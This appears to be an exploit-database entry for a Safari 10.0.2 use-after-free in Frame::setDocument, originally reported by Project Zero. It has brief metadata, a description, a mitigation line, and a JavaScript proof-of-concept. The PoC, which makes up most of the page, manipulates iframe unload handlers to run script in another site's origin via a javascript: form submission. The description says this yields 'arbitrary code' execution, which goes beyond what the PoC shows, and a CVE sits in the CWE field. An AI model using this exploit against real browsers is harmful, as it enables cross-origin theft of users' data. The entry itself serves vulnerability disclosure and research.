header-logo
Suggest Exploit
vendor:
Safari
by:
Project Zero
6,5
CVSS
MEDIUM
Use-after-free
416
CWE
Product Name: Safari
Affected Version From: Safari 10.0.2
Affected Version To: Safari 10.0.2
Patch Exists: Yes
Related CWE: CVE-2017-5090
CPE: a:apple:safari:10.0.2
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Mac
2017

Frame::setDocument Vulnerability

This vulnerability is a use-after-free vulnerability in the Frame::setDocument function. It occurs when a frame is set to a new document, and then the unload event handler is called. If the frame is set to a new document again in the unload event handler, the prepareForDestruction function is never called, which means the frame will never be detached from the new document. This can be exploited by setting the frame to a malicious page in the unload event handler, which can then execute arbitrary code.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the prepareForDestruction function is called before setting the frame to a new document.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057

Here's a snippet of Frame::setDocument.

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.

PoC:
-->

"use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () => {
            f.onload = () => {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->